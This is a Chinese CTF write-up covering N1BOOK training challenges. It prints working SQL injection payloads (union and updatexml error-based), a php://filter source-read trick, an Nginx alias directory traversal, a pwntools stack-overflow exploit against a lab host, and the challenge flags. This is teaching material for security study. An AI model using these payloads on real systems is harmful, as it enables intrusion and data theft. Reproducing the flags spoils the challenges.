zoukankan      html  css  js  c++  java
  • N1BOOK 记录

    参考《从0到1 CTFer成长之路》

    [第一章 web入门]常见的搜集

    先验知识:常见的敏感文件

    1. gedit备份文件,格式为filename~,比如index.php~
    2. vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比如.index.php.swp
    3. robots.txt

    方法

    1. 地址后加/index.php~
    2. /.index.php.swp会即刻下载备份文件,可通过vi index.php建一个只有空格的文件,然后通过vim -r index.php进行恢复即可得到
    3. /robots.txt

      查看这个文本文件

      综上可得

    n1book{info_1s_v3ry_imp0rtant_hack}

    [第一章 web入门]粗心的小李

    git泄露

    方法

    1. 借助GitHacker工具
    2. git clone https://github.com/WangYihang/GitHacker.git
    3. cd GitHacker
    4. python Githacker.py http://0fcbe3ec-471a-452a-9e5f-953c5026eb18.node3.buuoj.cn/.git
    5. 进入恢复后的文件夹cd 0fcbe3ec-471a-452a-9e5f-953c5026eb18_node3_buuoj_cn_,有个index.html
    6. 浏览器打开index.html即可拿到flag

    n1book{git_looks_s0_easyfun}

    [第一章 web入门]SQL注入-1

    1. 打开题目链接可以看到
    2. 试试id=1+1的回显,发现和id=1结果相同,所以不是数字型注入,可能是字符型
    3. 尝试id=1a发现和id=1结果相同,所以确实是字符型
    4. 尝试用id=1'#,单引号用于闭合前面的单引号,井号用于注释后面预置的单引号。这里注意:#一定要用URL编码,即%23,所以实际上需要输入id=1'%23单引号会被自动转成%27
    5. 可以成功显示
    6. 优先尝试UNION注入id=-1'union select 1,2,3%23,其中-1是为了使第一行记录无法被查询到,当然,除了-1也可以是一个很大的值比如1024、100等。后面的查询语句是尝试测试哪些字段可以回显参考
    7. 所以将数字2改成我们想查询的内容:所有表名group_concat(table_name)group_concat是用,联合多行记录的函数。所以为查询本数据库的其他所有表名,需id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23,随即看到fl4g
    8. 查询fl4g中的字段名,id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'%23
    9. 获取fllllag的内容,id=-1'union select 1,fllllag,3 from fl4g%23

    n1book{union_select_is_so_cool}

    [第一章 web入门]SQL注入-2

    先验知识

    1. 有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入
    2. updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数
    3. dual用于测试数据库是否可以正常使用

    方法

    1. 在连接后加上/login.php,右键查看源码

    2. 回到登录页面,打开Burp Suite,安装方法参考
    3. 推荐浏览器插件:SwitchyOmega,可以省去每次设置代理的步骤,使用BurpSuite时,点击插件选择对应Burp Suite的代理即可
    4. 在login界面随便输入用户名和密码如1,1然后点击登录
    5. 可以在Burp Suite中Proxy->HTTP history看到记录
    6. CTRL+R,发送到Repeater,在login.php后添加?tips=1,点击Go,看到报错
    7. 用dual进行测试name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)#&pass=xxxx
    8. 说明存在过滤,将select改成selEct重新发送后回显正常
    9. 之后的操作与与SQL注入1同理,将selEct后的1改为group_concat(table_name),dual改为information_schema.tables where table_schema=database()以查看所有表名
    10. 仍与SQL注入1同理,查看fl4g的字段,分别改为group_concat(column_name)和information_schema.columns where table_name='fl4g'
    11. 获取flag,selEct flag from fl4g

    n1book{login_sqli_is_nice}

    [第一章 web入门]afr_1

    先验知识

    1. PHP向用户提供的指定待打开文件的方式,是一个文件流
    2. PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。使用方法php://filter/read=convert.base64-encode/resource=xxx
    3. 利用Filter机制,构造形如以上的攻击数据可以读取文件,拿到各种文件的源码

    方法

    1. 点击题目链接
    2. p=php://filter/read=convert.base64-encode/resource=hello

    PD9waHAKCmVjaG8gImhlbGxvIHdvcmxkISI7

    Base64解码结果为

    <?php
    echo "hello world!";
    
    1. 尝试改p,发现p=flag时有回显,所以应该存在这么个文件
    2. p=php://filter/read=convert.base64-encode/resource=flag

    PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

    1. 解码结果为
    <?php
    die('no no no');
    //n1book{afr_1_solved}
    

    [第一章 web入门]afr_2

    先验知识

    Nginx错误配置可能产生目录穿越漏洞,比如:

    location /static {
        alias /home/myapp/static/;
    }
    

    由于static后没有加/,如果用户请求/static../,拼接到alias进会变成/home/myapp/static/../会穿越到myapp目录

    方法

    1. 点击题目链接
    2. 右键查看源码
    3. 查看img目录
    4. 目录穿越
    5. 下载flag,用记事本打开即可

    n1book{afr_2_solved}

    [第五章 CTF之RE章]Hello, RE

    直接拖到ida64反编译即可看到flag

    n1book{Welcome_to_reversing_world!}

    [第六章 CTF之PWN章]stack

    题目提供了libc-2.27.so和stack,根据经验知道这题环境是Ubuntu18,需要进行堆栈平衡

    1. checksec stack
    2. IDA64反编译,并查看main函数
    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      vuln(*(_QWORD *)&argc, argv, envp);
      return 0;
    }
    
    1. 进一步查看vuln,发现栈溢出漏洞
    2. 双击变量v1查看栈信息,所以当覆盖'a'*18后即可到达函数返回地址
    3. 同时注意到IDA64的函数窗口有个shell,查看以下发现
    4. 所以需要将shell的地址0x覆盖到vuln的返回地址即可。由于前面提到需要堆栈平衡,我们还要知道shell的ret地址

    5. 综上,有exp如下
    from pwn import *
    
    #p = process('./stack')
    p = remote('node3.buuoj.cn', 25413)
    shell = 0x400537
    retn = 0x40054e
    payload = 'a' * 18 + p64(retn) + p64(shell)
    p.sendline(payload)
    p.interactive()         
    
    1. python exp.py

    n1book{851939e4e90b864b8d20fe6228564522}

  • 相关阅读:
    我要录视频XML(一)
    JavaScript入门基础 (一)
    JQuery 入门24条
    3.The IoC container
    关于jquery.fn
    apche禁止列表显示文件夹中文件,并且显示特定界面
    Struts 2 + Spring 2 + JPA + AJAX
    3.The IoC container(2)
    4.9 Annotationbased container configuration
    3.5 Bean scopes
  • 原文地址:https://www.cnblogs.com/vict0r/p/13949677.html
Copyright © 2011-2022 走看看